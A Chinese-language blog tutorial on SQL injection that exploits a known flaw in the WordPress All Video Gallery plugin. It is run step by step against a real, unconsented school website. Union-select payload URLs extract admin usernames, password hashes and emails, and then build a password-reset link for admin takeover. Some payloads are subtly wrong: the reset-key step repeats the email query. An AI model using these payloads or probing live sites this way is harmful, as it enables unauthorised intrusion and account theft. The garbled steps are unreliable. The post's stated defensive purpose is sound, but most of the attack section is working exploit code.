
前幾天微軟 skype 的官方博客網站被黑客突破,雖然很快進行了修復,但從網友截屏的圖片來看,應該一些抗議美國國安局監聽行為和反對微軟在軟件裏隱藏後門的黑客所為。
微軟 skype 的官方博客使用的是 WordPress 平台,WordPress 目前是世界上最流行的博客平台,市場佔有率高達 70%,這次攻擊事件雖然牽涉到 WordPress,但並不能説明 WordPress 平台很脆弱,事實上脆弱的是 WordPress 上多達百萬的各種第三方插件,這些插件的質量良莠不齊,如果你使用錯誤的插件,沒有及時更新到最新版本,那你的 WordPress 網站就會成為黑客的目標。
All Video Gallery 就是這樣的一個典型例子。早在 2012 年 6 月份就有安全網站公佈這個插件的 1.1 版有嚴重的安全漏洞,但我今天還是很輕鬆的使用谷歌搜到了仍然使用這個有漏洞的插件的網站。本文就是要以這個網站為靶子,給大家實戰講解黑客是如何利用 sql 注入技術攻破一個網站的。

這個網站看起來像是印度或巴基斯坦的某個公立學校的網站。我不想在這裏透露這個網站的真實地址,如果你也想實戰一下,可以自己架設一個 WordPress 網站,安裝上這個有安全漏洞的插件。如果你真的有興趣想看看這個網站、非惡意的,請關注我的微薄 @外刊 IT 評論,和我私信聯繫。
SQL 注入的基本原理
sql 注入成因主要是對頁面參數沒有進行非法字符校驗導致,比如説一個訂單頁面要顯示某個客户的所有訂單列表,這個頁面的地址可能是 http://xxx.com/list.php?customID=3,我們推理,這樣頁面的後台處理的 sql 應該是這樣的:
select * form custom_order where custom_id = {$_GET['customID']}
按正常情況下,這裏的接收的參數 {$_GET['customID']} 的值應該是傳入的值 3,這樣頁面就能正確的把所有客户 ID 等於 3 的訂單信息顯示到頁面上。但是,如果這個參數被人惡意改成了如下形式:
http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
按這樣的參數拼裝成的 sql 就成了這樣:
select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
這樣注入惡意 sql 後,訂單列表頁顯示的就不是訂單信息了,而是數據庫中用户的名稱和密碼,或者任意其它想要的信息。下面我們就按照這個原理來一步一步的獲取這個公立學校網站的管理員用户名,管理員郵箱地址,通過郵箱重置管理員密碼,登錄超級管理員後台。
All Video Gallery 插件的漏洞簡介
安裝了 All Video Gallery 插件的 WordPress 博客裏會有這樣的一個地址:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11
訪問這個頁面會顯示一些配置信息,問題就出在 pid 這個參數上,程序後台顯然沒有嚴格檢查這個參數,我們將利用這個參數進行 sql 注入。
WordPress 是一個開源的平台,我們很容易弄清楚用户表的表名是 wp_users,存放用户名,密碼,郵件地址的字段分別是 user_login,user_pass,user_email,我們下面將要把用户信息表注入進去。
獲取超級管理員用户名
為了獲取用户表中的用户名,我們注入的 sql 是這樣的:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
在瀏覽器裏輸入上面的地址,頁面上會顯示下面的信息:

獲取超級管理員郵件地址
我們可以直接獲取用户的密碼,但很顯然,密碼都是加密的,無法使用,我們這裏使用另外一種思路,先獲取用户的郵件地址,然後使用這個郵件重置用户的密碼。
要獲取郵件地址,我們需要將上面的 sql 中的字段名改成 user_email:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
在瀏覽器裏輸入上面的地址,頁面上會顯示下面的信息:

重置管理員密碼
WordPress 的後台登陸地址是 http://xxx.com/wp-login.php,這個地址是可以公共訪問的,我們進入這個頁面後,點擊 Lost your password? 鏈接,輸入上面獲取的管理員郵件。

這樣做了之後,WordPress 會向這個郵件地址發送一封含有激活碼的密碼重置地址。我們無法登陸這個郵箱獲取這個地址,但我們可以使用上面同樣的方法獲取這個激活碼,自己拼裝出密碼重置地址。存放激活碼的字段是 user_activation_key,我們的 sql 注入地址改成下面這樣:
http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
在瀏覽器裏輸入上面的地址,頁面上會顯示下面的信息:

有了激活碼,我們就可以拼裝出裝置密碼的地址了:
http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username
利用這個地址進入重置密碼頁面:

總結
我們的黑客行動到此基本上是大功告成,但事實上我並沒有去執行最後一步。本文的目的不是要告訴人們如何進行黑客攻擊,而是要提醒大家防範安全漏洞,所謂知己知彼,方能百戰不殆,程序員應當對基本的黑客攻擊方式有一些瞭解,針對性的在編程時避免造成類似 sql 注入的安全漏洞,構築更健壯的軟件。